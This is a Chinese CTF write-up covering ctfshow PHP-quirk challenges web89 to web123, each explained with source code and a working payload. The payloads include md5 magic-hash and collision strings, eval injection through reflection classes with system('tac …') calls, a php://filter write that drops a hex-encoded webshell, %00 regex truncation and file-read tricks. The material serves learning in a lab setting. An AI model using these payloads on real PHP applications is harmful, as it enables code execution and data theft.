ctfshow—PHP特性

PHP特性

以ctfshow平台题目为例

web89

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

web 90

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

web91

/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束 符 的 情 况 下 , 将 以 换 行 为 分 隔 符 , 逐 行 进 行 匹 配 但 是 当 出 现 换 行 符 ‘ 符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 `%0a`的时候, cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

web 94

strpos() 函数查找字符串在另一字符串中第一次出现的位置

Code
strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:字符串位置从 0 开始,不是从 1 开始。

web97

md5绕过

科学计数法绕过
列举几种脚本爆破出的类型

Code
IHKFRNS 0e256160682445802696926137988570
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
0e215962017 0e291242476940776845150308577824
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299

数组绕过
php中的md5()函数无法处理数组类型数据,对于数组类型数据返回NULL,当我们传入两个数组时,就会变成两个NULL,也就是NULL==NULL,成功绕过

md5碰撞

利用md5碰撞,得到两个md5值相同但内容完全不一样的字符串

一.%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP

二.%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

web98

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

这里是三目运算符和取地址,第二行和第三行是无用的,因为用不到,所以我们分析一下第一行和第四行

第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag

web99

$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));//向数组里添加随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
    file_put_contents($_GET['n'], $_POST['content']);//写入1.php文件 内容是<?php system($_POST[1]);?>
} 

流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数;
第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值
最后用file_put_contents函数写数据到文件中

in_array()

in_array() 函数搜索数组中是否存在指定的值

php
in_array(search,array,type)
参数描述
search必需。规定要在数组搜索的值。
array必需。规定要搜索的数组。
type可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

说明

如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

file_put_contents()

函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
} 

is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

看到eval()函数,则联想到命令执行,v3应该为;,v0=v1 and FALSE and FALSE

由于php运算优先级 &&> = > and

故先赋值tree给v0,false被忽略

这里我们可以使用PHP反射类

ReflectionClass 类报告了一个类的有关信息。

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class>newInstanceArgs(args); // 相当于实例化ctfshow类

payload:
?v1=1&v2=echo new ReflectionClass&v3=;

非预期

直接输出$ctfshow;构造出 var_dump($ctfshow);
payload:v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数写入内容到文件中,第一个参数是文件名,第二个参数是内容

substr() 返回字符串的子串

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));

/*运行结果
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
bool(true)
*/

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

sha1()函数无法处理数组类型,将报错并返回false

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

foreach有两种语法:

第一种:遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

foreach (array_expression as $value)

第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

foreach (array_expression as $key => $value)

这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量

例如 $key=flag  则$$key=$flag

这里一共有三个变量,$error、$suces和$flag;这里通过die($error)或者die($suces)都可以输出flag,所以有两个paylaod
第一种:
通过die($error)输出flag,首先我们把$flag的值传给$dotast,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag
例如$flag=ctfshow{xxxxx},?dotast=flag,通过第一个for循环,也就是$dotast=$flag,$dotast=ctfshow{xxxxx},接着再通过第二个for循环,$error=$dotast,此时$error=ctfshow{xxxxx}

?dotast=flag

post:
error=dotast

第二种:
通过die($suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,已达到下面if条件为0不执行的目的,往下执行,die($suces)即可把flag输出

?suces=flag&flag=

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
    parse_str($v1,$v2);
    if($v2['flag']==md5($v3)){
    	echo $flag;
    }
} 

介绍:

parse_str — 将字符串解析成多个变量

parse_str ( string $encoded_string [, array &$result ] ) : void

如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

举例:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

payload:

get
?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877

c=a%00778

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}

先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串

所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?> 

这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload

v1=FilesystemIterator&v2=getcwd

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}

首先需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

payload:

?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

is_file() 函数检查指定的文件名是否是正常的文件

filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。

payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
预期解:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

函数介绍

语法
trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,我们写个脚本看看有什么字符可以利用

<?php
for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    }
}

发现%0C,也就是\f分页符可以利用,不会被trim过滤掉,所以paylaod为

num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

看到后面有个eval()函数会执行$c,所以我们就关注$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以payload为

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

知识点

1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]也就是$a[0]= $_SERVER[‘QUERY_STRING’]
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

参考:

南方师傅:https://www.wlhhlc.top/posts/14827/

羽师傅:https://blog.csdn.net/miuzzx/article/details/109181768

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值